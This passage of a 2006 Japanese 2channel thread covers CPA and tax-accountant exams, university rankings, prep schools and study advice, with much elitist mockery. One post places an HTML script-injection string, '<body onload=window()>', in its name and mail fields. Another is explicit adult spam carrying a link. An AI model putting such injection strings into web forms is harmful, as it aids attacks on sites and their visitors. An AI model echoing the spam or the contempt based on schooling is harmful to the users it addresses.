んなことどーでもいいんだよ 221 名前：一般に公正妥当と認められた名無しさん [2006/09/27(水) 17:39:18 ID:SaLF6g+n] 横国なんてマーチ以下だろが。横国蹴りマーチは何げに結構いる 222 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/27(水) 20:17:22 ID:???] それは横浜市立ではなかろうか？ さすがに横国をマーチが蹴らんだろう。 223 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/27(水) 20:40:59 ID:???] 中央法なら横国蹴りもありかな 224 名前：一般に公正妥当と認められた名無しさん [2006/09/27(水) 22:03:49 ID:fSYndXX1] >>223 いや普通に横国だろ。 中央なんてド田舎大学じゃ法学部でも世間体が悪すぎる。 横国出会計士なら、まぁ社会的ステータスは一流と 言ってもいいんじゃないか？ 225 名前：一般に公正妥当と認められた名無しさん [2006/09/27(水) 22:04:33 ID:fSYndXX1] ちなみにオレはどちらも蹴って早稲田だけどなｗ 226 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/27(水) 22:07:34 ID:???] 俺は早稲法蹴り中央法 227 名前：一般に公正妥当と認められた名無しさん [2006/09/27(水) 22:56:55 ID:AvijTYWA] その時代にもよると思いますよ。私が受験生だった15年前は私立大学の人気が高く、神大よりも関学の方が上だったし、横国より上智の方が難しいと言われてたよ。今は国立の方が上かな。とは思いますが。 228 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/27(水) 23:41:36 ID:???] 上だとして、 それが？どうした？ 229 名前：一般に公正妥当と認められた名無しさん [2006/09/28(木) 00:50:06 ID:kFFvMPcr] なんだこのスレ。 学歴電波がバンバン出てる。 230 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 01:10:14 ID:???] 慶應卒ですが、ある人のご機嫌をとるために、その人の出身校である 中央法に通信で入学してしまいました。 231 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/28(木) 01:52:47 ID:???] 国税10年以上勤務＋田舎の院卒で5科目免除の疑いのある 松岡章夫くんが作った試験問題すら解けない、 想像を絶するバカが9割弱を占める相続税法受験生wwwwwwwwwwwwwww もっと笑えるのは 自称優秀な法人税法受験生の約9割が、 立命館という三流尻津の現役大学院生（！）である植田卓くんが作った 法人税法の本試験問題すらまともに解けなかったという恐ろしい現実wwwwwwwwwwwww コイツらが仮に院免狙いで大学院に何らかの間違いで入学できたとしても どうせ講義や議論についていけずに居場所が無くなって自主退学するのがオチだろうけどなwwwwwwwww 院免バカにしてる暇があるならせいぜいその院免が作った問題くらいは 一人前に解けるようにしようぜwwwwwwwwwwwwwww 232 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 11:09:18 ID:???] 筑波を無視するな 233 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/28(木) 11:44:41 ID:???] >>227 神大？神奈川大学のことか それなら国立じゃないぞ私立だぞ 234 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 11:46:32 ID:???] 神戸大学のことだろ 235 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 12:33:58 ID:???] 違うよ。神田外語大学だよ。 236 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 12:41:35 ID:???] ちがうって ルーテル神大のことだ 237 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/28(木) 13:57:28 ID:???] >>232 筑波には商学部にあたる学部がない 経済学部も怪しいもんだ 筑波大卒の俺がいうんだから間違いない よって、筑波は会計士受験には無縁ってことで無視だ 238 名前：一般に公正妥当と認められた名無しさん [2006/09/28(木) 19:13:52 ID:JR9nEh6a] 横浜市大商学部もセンターのみ場合、難関では？ 239 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/09/29(金) 14:06:08 ID:???] >>237 社交があるだろ！舎学も。 240 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/29(金) 23:16:08 ID:???] 　　　　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　このｱﾋｬはまもなく　 / 　　　　　　　　　　　　　　　　 /　ｱﾋｬﾋｬいたします 　 　 / 　　　　　　　　　　　　　　　　/ あﾋｬがとうｱﾋｬした､　　 / 　　　　　　　　　　　　　　　 / ｱﾋｬ､ｱﾋｬﾋｬﾋｬﾋｬ、ｱﾋｬ　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　 /∧＿∧ 　　 　 　 　 （ 　ﾟ∀ﾟ ）　/　　　　　　　　　　　　　　 /（ﾟ∀ﾟ　　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　 　 　 　 　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　 　 （＿（＿_） 　　　　　　　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　　このスレは無事に　　/ 　　　　　　　　　　　　　　　　 /　　終了いたしました　　　 / 　　　　　　　　　　　　　　　　/　ありがとうございました　 / 　　　　　　　　　　　　　　　 /　　　　　　　　　　　　　　　　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧ 　　　　　　　（　^∀^）　/　　　　　　　　　　　　　　　　/（^∀^　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　　　　　　　　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_） 241 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/29(金) 23:17:03 ID:???] 　　　　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　このｱﾋｬはまもなく　 / 　　　　　　　　　　　　　　　　 /　ｱﾋｬﾋｬいたします 　 　 / 　　　　　　　　　　　　　　　　/ あﾋｬがとうｱﾋｬした､　　 / 　　　　　　　　　　　　　　　 / ｱﾋｬ､ｱﾋｬﾋｬﾋｬﾋｬ、ｱﾋｬ　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　 /∧＿∧ 　　 　 　 　 （ 　ﾟ∀ﾟ ）　/　　　　　　　　　　　　　　 /（ﾟ∀ﾟ　　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　 　 　 　 　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　 　 （＿（＿_） 　　　　　　　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　　このスレは無事に　　/ 　　　　　　　　　　　　　　　　 /　　終了いたしました　　　 / 　　　　　　　　　　　　　　　　/　ありがとうございました　 / 　　　　　　　　　　　　　　　 /　　　　　　　　　　　　　　　　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧ 　　　　　　　（　^∀^）　/　　　　　　　　　　　　　　　　/（^∀^　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　　　　　　　　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_） 242 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/09/29(金) 23:26:53 ID:???] 　　　　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　このｱﾋｬはまもなく　 / 　　　　　　　　　　　　　　　　 /　ｱﾋｬﾋｬいたします 　 　 / 　　　　　　　　　　　　　　　　/ あﾋｬがとうｱﾋｬした､　　 / 　　　　　　　　　　　　　　　 / ｱﾋｬ､ｱﾋｬﾋｬﾋｬﾋｬ、ｱﾋｬ　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　 /∧＿∧ 　　 　 　 　 （ 　ﾟ∀ﾟ ）　/　　　　　　　　　　　　　　 /（ﾟ∀ﾟ　　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　 　 　 　 　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　 　 （＿（＿_） 　　　　　　　　　　　　　　　　　 /　￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　　　　　　　　　　　/　　　このスレは無事に　　/ 　　　　　　　　　　　　　　　　 /　　終了いたしました　　　 / 　　　　　　　　　　　　　　　　/　ありがとうございました　 / 　　　　　　　　　　　　　　　 /　　　　　　　　　　　　　　　　/ 　　　　　　　　　　　　　　　/　　　　　　　　　　　　　　　 / 　　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/ 　　　　　　　 ∧＿∧　　/　　　　　　　　　　　　　　　　/∧＿∧ 　　　　　　　（　^∀^）　/　　　　　　　　　　　　　　　　/（^∀^　） 　　　　　　　（　　　　）つ　　　　　　　　　　　　　　　⊂（　　　　） 　　　　　　　｜ ｜ ｜　　　　　　　　　　　　　　　　　　 ｜ ｜ ｜ 　　　　　　　（_＿）＿）　　　　　　　　　　　　　　　　　　（＿（＿_） 243 名前：一般に公正妥当と認められた名無しさん [2006/09/30(土) 09:57:14 ID:dr6Ma5u/] TACのレギュラークラスで上位何パーセントに入れて合格しますか？ 244 名前：一般に公正妥当と認められた名無しさん [2006/09/30(土) 12:27:25 ID:qMgC0jHz] ２５パーなら勝負できるんジャマイカ 245 名前：名無し [2006/10/02(月) 02:22:35 ID:C+UgZy/v] ・2chを閉じる ・ﾃｷｽﾄを開く ・合格するまで頑張る ・女子の股を開く 246 名前：一般に公正妥当と認められた名無しさん [2006/10/05(木) 21:06:34 ID:58Xli2jU] >>243 会計士試験は水物。ほとんどの場合が実力以外のところで合否が決定される。 下位25％でも合格するヤツはするし、模試全国一位のヤツでも合格できないことはザラ。 正当な努力がむくわれない嫌らしい試験だ。 ま、人生の縮図でもあるが。 247 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/05(木) 21:22:11 ID:???] 原則として受かるレベルはあるしそこまで持っていけないのは自分の責任。そういう言い訳体質の奴は受かりにくいよ 248 名前：一般に公正妥当と認められた名無しさん [2006/10/10(火) 00:10:46 ID:cRVmXX1e] このスレを読んでいると税理士受験生は ほんと学歴話が嫌いなんだなぁ、というのがよくわかる。 その理由は単純で、税理士受験生はそもそも 自分が高卒、あるいは聞いたこともないような五流大学出身であるため、 会計士受験生が出ているような上流大学の話に加わることができないのだｗ 249 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/10(火) 00:58:20 ID:???] >>246みたいな意見は無意味。どんな試験だって水物だよ。 250 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/10(火) 09:27:01 ID:???] 247も言ってるけど自分の能力不足を棚にあげて試験制度のせいにするバカは見込みないな。 251 名前：一般に公正妥当と認められた名無しさん [2006/10/16(月) 22:29:52 ID:IDV7yBF9] >>248 それは仕方がない。税理士試験は、学歴のない、定職のない、 四流人間の敗者復活戦だからだ。 252 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/16(月) 22:32:45 ID:???] その年の試験にもよるしね。 実力のある順に、合格していく試験問題のときは 上位者が抜けるし そうでないときは、完全に水物の試験になる。 253 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/16(月) 23:34:10 ID:???] どんな試験でも対応できるのが本当の実力。それができないのは実力がないってことだ。 254 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/17(火) 12:42:26 ID:???] >>252 確かに実力はないと厳しいけどな。論文でも拾える問題を落とさずに全部取ればそれ相応の点数を取れるよな。 難問を合わす暇があれば基礎の問題を合わす方が案外点数は取れるでしょ 255 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/20(金) 04:30:22 ID:???] >>248 そんな漏れは、私立超一流の慶應法卒の税理士だが何か？ 256 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/20(金) 09:24:16 ID:???] なぜ慶応法まで出て税理士にｂなろうと思ったのか教えて？ 司法試験も会計士もいける 一部上場企業も選び放題 なのになぜ？ 親が税理士で後継ぐからか？ 257 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/20(金) 11:25:40 ID:???] 学歴話するのは受験生だけ 258 名前：255 mailto:sage [2006/10/21(土) 05:39:35 ID:???] >>256 仕事と勉強が両立できるか、否か。親は普通のリーマン。 一応、漏れは既に５科目合格して税理士登録したんだがな。 実際、上場企業に働いて、思ったとおり行かず息苦しいし。 お金は、２００３年初頭からの大相場にうまく乗ってリタイアできるカネも築いたしな。本当にやりたいことをやりたかっただけ。 漏れはここの板ではかなり高学歴だが、日常の場で言うことは別にない、卒業してから長く経っているから正直実感が沸かん。 優越感はあるかもしれんが。 259 名前：一般に公正妥当と認められた名無しさん [2006/10/28(土) 20:20:47 ID:RcEPEAoB] 会計士になれば税理士にもなれるんだから 真っ当な判断力を持っているなら、普通は会計士を 受験するはず。 結局、税理士なんてクソ下級資格を受験する動機は １　会計士に合格する自信の無い低学歴者だから ２　働きながら勉強せざるをえないオッサンだから のどちからに収斂する。 はじめからそんなんだからモチベーションが維持できないのは 当たり前！低級資格を目指してしまったんだから、 上級資格に嫉妬するのはやめろ！！！！！！ 260 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/28(土) 22:38:40 ID:???] 俺も慶応法学部だけど自分で超一流と言ってるところが激しくうそくさく感じる 261 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/28(土) 22:43:29 ID:???] だよな。 慶應で一流なのは医学部と経済学部だけ。 法学部や商学部は二流。 262 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/28(土) 23:43:30 ID:???] 慶應如きが一流？またまたご冗談を＾＾＾＾＾＾＾＾＾＾ 私は京大法です＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾ 263 名前：260 mailto:sage [2006/10/29(日) 01:44:13 ID:???] 》261 結構年いってる人ですか？昔はともかく経済が一流なんてありえないですが…。確かに医学部は別格ですがね。 264 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/29(日) 12:44:53 ID:???] おまいら学歴好きだね〜ｗ そんなもん就職するためと自己満足だけのもんでしょ 資格試験受けるやつには関係ねーべ 結局どれだけ稼げるか？自分の好きなことできるか？だろ 265 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/29(日) 13:28:08 ID:???] 就職と自己満足ってとても大事なことだと思いますけど？ 266 名前：一般に公正妥当と認められた名無しさん [2006/10/31(火) 00:39:24 ID:7gwa6knl] Fﾗﾝｸ大学生で簿記すら勉強したことなくて算数・数学も苦手で知能指数も低くて卑屈な性格で不細工なんですが 来年４月から大原の公認会計士講座２年ロング・DVDも借りられるコースに 通うと思うんですが僕では合格できませんか？ 267 名前：一般に公正妥当と認められた名無しさん [2006/10/31(火) 00:41:58 ID:8D7oILpt] 何となくやる気のなさそうなAYUMIちゃんがまずはビルの屋上で フェラ、乳首は寒さでビンビンです。階段へ移動しオナニー、穴 をいじりながらクリもしごいてます。その後フェラから生本番へ 。ホテルへ移動し早速放尿シーン後2人でお風呂に入りフェラ。 ベッドでローションオナの後2発目の生本番で終了！やる気なさ そうな感じが逆にそそります！ www.linrmb.com/18p2p/1826.php?sid=132 268 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/31(火) 00:43:24 ID:???] >）266 関西？ できないことはないと思うが、大変 ブサイクなほうが受かりやすい気もする 269 名前：一般に公正妥当と認められた名無しさん [2006/10/31(火) 00:46:38 ID:7gwa6knl] >>268 レスありがとうございますm(_ _)mいえ関東です。 単純な性格なんでなんか嬉しいです( ^_^) 勉強以外することないんで頑張ります！ありがとうございましたm(_ _)m 270 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/10/31(火) 09:07:59 ID:???] 短期合格はまず無理そうなスペックだな 271 名前：一般に公正妥当と認められた名無しさん [2006/11/01(水) 23:46:50 ID:dJZGOuTq] いやフツウに考えて長期合格も無理そうなスペックだろ。 最低ラインは早稲田の社学くらいか。 272 名前：一般に公正妥当と認められた名無しさん [2006/11/02(木) 21:35:19 ID:0y/xiBWV] 私は08受験予定なんですが今までに宅建(有資格者)、司法書士、不動産鑑定士、英検１級を取得しています。 今から合格後の話をするのは少々マヌケだとは思うのですが、 こういった資格は資格手当ての対象になりますか？ちなみにパソコンは資格こそもっていませんが高いスキルをもっています。 >>269 お互い頑張りましょう。 273 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/02(木) 23:31:02 ID:???] 資格マニアですか？ 274 名前：一般に公正妥当と認められた名無しさん [2006/11/02(木) 23:47:51 ID:kC4eG3+h] 3年前に司法試験受かって、今は大阪で弁護士してる者なんですけど、 新制度は弁護士しながら合格できるようなものなのでしょうか？ 一年ないし二年、休業して受験に専念しないと厳しいでしょうか？ 合格された方のアドバイスいただけると嬉しいです。 275 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/02(木) 23:58:10 ID:???] 弁護士は民法、企業法、短答免除なので弁護士受かるような人がやれば ぶっちゃけ三ヶ月でも受かる可能性はあると思います 276 名前：一般に公正妥当と認められた名無しさん [2006/11/03(金) 00:07:54 ID:1olUXLFS] >>275 ありがとうございます。 択一免除で、計算科目が中心になるんですよね。 三ヶ月では厳しいかもしれないですが、なんとか時間やりくりしてやってみたいと思います。 旧制度で受けてた先輩などは、ほとんど論文で跳ねられてたので、合格された方にお聞きした次第でした。 277 名前：272 [2006/11/03(金) 00:08:32 ID:XFy0lYCS] >>273 レスありがとうございますm(_ _)m まぁマニアと言えばマニアですねw 会計士は福利厚生が・・・なので資格手当てくらいはあるのかなと思いまして。実際のところはどうなんでしょうか？ 278 名前：272 [2006/11/03(金) 20:14:55 ID:XFy0lYCS] age 279 名前：一般に公正妥当と認められた名無しさん [2006/11/05(日) 02:10:35 ID:I9VmvaH2] >>277 俺の行ってる法人の場合、会計士以外の資格手当は全くでない。 理由は、会計士以外の資格は全く業務に役立たないから。 社労士の資格を持ってるヤツが、ファンド監査の際、 意外と役に立って褒められていたけど。もちろん、役にたっても、金をもらえるわけ じゃないけどな（苦笑。 会計士受かって就職もできたあとは、他の資格の勉強なんて全くやる気が起きない。 あんたはすごいな。監査法人の給料は意外と安いうえ、福利厚生なんて公務員の 半分もないから、資格をゲットしたら早く独立したほうがいいぞ。俺も近々 税理士登録するつもりだ。 280 名前：一般に公正妥当と認められた名無しさん [2006/11/05(日) 16:00:12 ID:B+s8Zzga] 税理士の簿、財うけて一年留学してからまた勉強スタートするか、先留学してから勉強するか、悩んでます 簿記一級の知識があるので留学したらわすれそうでこわいです 現在大学２年です 281 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/05(日) 16:29:09 ID:???] >>279 自演お疲れさんニセ会計士 >>280 税理士志望なのか？海外留学して何を身につけるの？英語か？ ４大税理士法人志望ならわかるが 282 名前：一般に公正妥当と認められた名無しさん [2006/11/05(日) 16:37:04 ID:P/xAUJ3b] パナソニックの財務部とかなら トイック800位必須で できれば会計士税理士資格が必要 国際税務ならトーマツ辺りで ５年くらい実務経験積まないと 283 名前：一般に公正妥当と認められた名無しさん [2006/11/05(日) 17:07:52 ID:B+s8Zzga] 税理士志望で英語をみにつけたいです 将来英語話せれば活躍の場が広がりそうだし、英語を話せる人間になりたいです大学院行くのであれば、勉強は留学してからでも、遅くありませんかね？ それか、やっば簿財(受かるかわからないですけど)だけでもとっとくべきですかね？ 284 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/05(日) 17:17:07 ID:???] あげ 285 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/05(日) 17:39:34 ID:???] >>282 TOEIC800なんて簿財取るのと比べたら… なんでもいいから早く働きたいorz 286 名前：一般に公正妥当と認められた名無しさん [2006/11/05(日) 20:09:40 ID:SYQRVpEG] 公認会計士や税理士合格するには国民年金未納というのはまずいですか？ 合格者の方は教えてください。お願いします。 287 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/05(日) 21:46:30 ID:???] >>286 当方会計士補。 たぶんけっこういるよ。そういう人。 働かないで何年も勉強した人も多いわけだから。 あれって２年くらいまでは後から納付できるし、 心配なら納めればいいのでは。 288 名前：一般に公正妥当と認められた名無しさん [2006/11/06(月) 20:00:40 ID:9TPFEueG] 初歩的な質問ですが。 現在関西の大学一年で今から会計士を目指そうと考えています 予備校はTAC、LEC、大原などたくさんありますが、それぞれのおおまかな特徴 と知っている範囲の講義やテキストなどの実態、できればおススメやその理由 を教えてください。 あと、WEB講座で通学と比べて授業料が安くなるところはありませんか？ 289 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/06(月) 20:03:43 ID:???] TAC＝代ゼミ 大原＝河合塾 LEC＝駿台 クレ＝東進ハイスクール ICO＝早稲田予備校 AXL＝Z会 290 名前：一般に公正妥当と認められた名無しさん [2006/11/06(月) 20:31:14 ID:9TPFEueG] 答えていただいたのはありがたいのですが… ちょっとそのたとえがよくわかりません もう少し砕いてお願いします 291 名前：一般に公正妥当と認められた名無しさん [2006/11/06(月) 22:15:31 ID:u82FCmCi] >>290 お気楽なやろーだぜ 292 名前：一般に公正妥当と認められた名無しさん [2006/11/06(月) 22:18:17 ID:AcwnFQs3] ＞２８３ 税理士なんか取っても英語使う機会などないぞ。中小企業の オヤジとかジジババ相手の仕事でスキルは全然付かない。 英語力生かしたいなら会計士取るかMBA取って外資にでも 行った方がいい。 293 名前：一般に公正妥当と認められた名無しさん mailto:??? [2006/11/06(月) 22:19:24 ID:???] つーか、自分で足運べば？ 294 名前：一般に公正妥当と認められた名無しさん [2006/11/07(火) 10:58:42 ID:u8inHVjh] できるだけお金かけずに公認会計士なるにはどうすればいい？ 予備校いかずに独学で受かった人ってほとんどいない？ 295 名前：一般に公正妥当と認められた名無しさん mailto:a [2006/11/07(火) 11:02:15 ID:???] その時点で無理税理士にいけ 296 名前：一般に公正妥当と認められた名無しさん [2006/11/07(火) 11:53:46 ID:u8inHVjh] え？お金がないと会計士目指すこともできないの？ なんかないの？方法 297 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/07(火) 12:10:41 ID:???] 範囲が広すぎてそもそも書店では会計士の参考書自体置いてない。 会計士試験は今のところ資格予備校に頼らなければ方策なし。 しかも９９％が専業受験生で稀に社会人合格者がいるがそれも独学ではない。 298 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/07(火) 12:57:50 ID:???] 本格的な勉強開始を半年ないし一年遅らせてその間に予備校代を稼ぐ。それでも独学よりは全然早く受かるでしょ 299 名前：一般に公正妥当と認められた名無しさん [2006/11/07(火) 17:42:04 ID:u8inHVjh] たぶん半分くらいなら出してもらえるかも・・ その予備校代を稼いでる間にちょっとでも独学してたしにするには 何やるべきですか？ 300 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/08(水) 05:04:35 ID:???] 借金しなよ 301 名前：<body onload=window()> mailto:<body onload=window()> [2006/11/08(水) 23:46:55 ID:???] 超糞スレ 302 名前：一般に公正妥当と認められた名無しさん [2006/11/16(木) 00:51:27 ID:7UnOg/HD] >>299 彼女をつくって、思い切り青春を楽しめ。 会計士受験生になってしまったら、朝から夜まで勉強地獄。 セックスやデートなんてしてる時間は全くなくなる。 そんな生活が最低3年はつづく。 今のうちにやれることはやっておけ。 303 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/16(木) 01:34:18 ID:???] いくらなんでもおおげさだろ。そんな生活して三年もかかる人って頭悪いでしょ。 304 名前：一般に公正妥当と認められた名無しさん [2006/11/19(日) 17:35:18 ID:WMERIU1B] >>303 いかにも税理士受験生って感じの書き込みだなｗ 一科目ずつ取得していけばよく、チンタラ勉強できる税理士試験と違って 会計士試験は多数科目同時受験。膨大な範囲の勉強をこなさねばならない。 税理士試験と違い、暗記のみで対応できるような低レベルの問題は ほとんどなく、高度な理解力と思考力も要求される。 実際は>>302のような生活を送っていても、3年で合格できるヤツはマレ。 305 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/19(日) 18:55:20 ID:???] いや、税理士試験のことはしらんが会計士試験がそこまでレベル高いとはどうしても思えない。302みたいな生活して三年もかかる奴は頭か要領が悪い以外のなにものでもないよ。 306 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/19(日) 18:58:11 ID:???] 高度な理解力や思考力なんて毎日長時間勉強して身につける性質のものでもないしな。元から持ってる奴はすいすい受かる。ない奴が受験長期化して２ちゃんで恨み言を言うというわけだ。 307 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/19(日) 19:15:43 ID:???] 会計士試験も今年から科目合格制になったんでしょ？ 308 名前：一般に公正妥当と認められた名無しさん [2006/11/21(火) 08:30:37 ID:EjZSKViJ] 大学中退でも大手に就職できますか？ 僕は会計士試験に合格したらすぐに就職活動して学校やめたいんですが 309 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 08:50:11 ID:???] >>304 １年半で受かったが、最初の１年は１〜２週間に１回は彼女と会ってたし、 誕生日やクリスマスは昼から遊んでたぞ ３年もそんな生活送って合格できないような奴は会計士になる資質を 備えてないとしか言いようがない 310 名前：308 [2006/11/21(火) 09:15:08 ID:e41GyADG] 多分問題ない。今は売り手市場だからね。 でも中退の事実は取り消せないから慎重にかんがえたほうがよい。 監査法人勤務で生涯を貫くならいいが、それ以外のキャリアパスも 選択肢にあるのなら卒業した方がいい。履歴書作るたびに中退と書く わけだし面接でもつっこまれるだろうから。 大卒も立派な資格。 311 名前：一般に公正妥当と認められた名無しさん [2006/11/21(火) 09:16:40 ID:e41GyADG] 漏れが308じゃなくて>>308へのレスね 312 名前：308 [2006/11/21(火) 10:43:44 ID:EjZSKViJ] >>310 即レスありがとうございます_(._.)_ とてもタメになりました。 サークルで男女関係のいざこざがあって学校行くのが嫌だから 最近引き込もって勉強ばっかりしてます・・・ でも安易に中退しないほうがよさそうですね。 すみません本当にありがとうございました。 313 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/21(火) 10:46:46 ID:???] >>305>>309 わざわざ関係ない『税理士試験のことはしらんが』なんてレス付けてるし、きみ”会計士受験生”じゃないな。 会計士受験生は皆苦労して栄冠勝ちとってるわけだから例え自分が２年で受かったとしてもそういうレスには１００％ならない。 誰でも自分が合格したらその資格は”永遠に難しい試験であってもらいたい”これが本音。 314 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/11/21(火) 11:16:44 ID:???] カキコは間違いなく税理士受験生だね。これ↓が気に障ったようだね。 ＞いかにも税理士受験生って感じの書き込みだなｗ ＞一科目ずつ取得していけばよく、チンタラ勉強できる税理士試験と違って・・ ＞税理士試験と違い、暗記のみで対応できるような低レベルの問題はほとんどなく 315 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 11:30:31 ID:???] スレタイみて覗いてみたが、どんだけクソスレなんだよｗ 税理士と会計士分けてスレたてろ 316 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 12:05:15 ID:???] 確かに313みたいな奴は三年間かそれより長い期間勉強漬けにならないと受からないだろうな。稀に見るバカだということがレスからにじみ出てる。 317 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 12:28:30 ID:???] 313は真理だと思うけど・・ ちなみに3年間の勉強漬けなんて会計士受験じゃありふれてる 318 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 12:36:31 ID:???] ありふれてることと、地頭と要領が悪いことは両立しない概念でらありません。 319 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 14:15:48 ID:???] 運よく早く受かれば313を馬鹿にする 意図的でなくやばい状況に陥った奴は313に実感する 320 名前：309 mailto:sage [2006/11/21(火) 15:28:39 ID:???] >>313 お前さぁ、自分がアホだからって全員そうだと思うなよ。 入門で俺と同じように答練で名前載せまくってた３人は皆受かってたぞ。 ３年の勉強漬けはザラにいるってのは百も承知だが、例外もいるってことを知っとけや。 そして俺は>>305じゃねえから。 321 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 17:35:39 ID:???] 自分の能力不足を棚に上げて受からないのを試験の難易度のせいにする姿勢が一番まずい。負け犬根性がしみついてる証拠だ。 322 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 18:21:19 ID:???] 例外である自分をマジョリティみたいに扱うなよｗ 323 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 19:03:40 ID:???] マジョリティだとしても負け組に変わりないんだから開き直ってんじゃねーよ 324 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 22:23:32 ID:???] 負け犬は２ちゃんやってる暇あったら勉強してろや 325 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/21(火) 23:31:31 ID:???] そだな、他人を馬鹿にして自我を保つ奴はほっとけ！ 326 名前：一般に公正妥当と認められた名無しさん [2006/11/22(水) 13:08:09 ID:3ETwE7Z5] 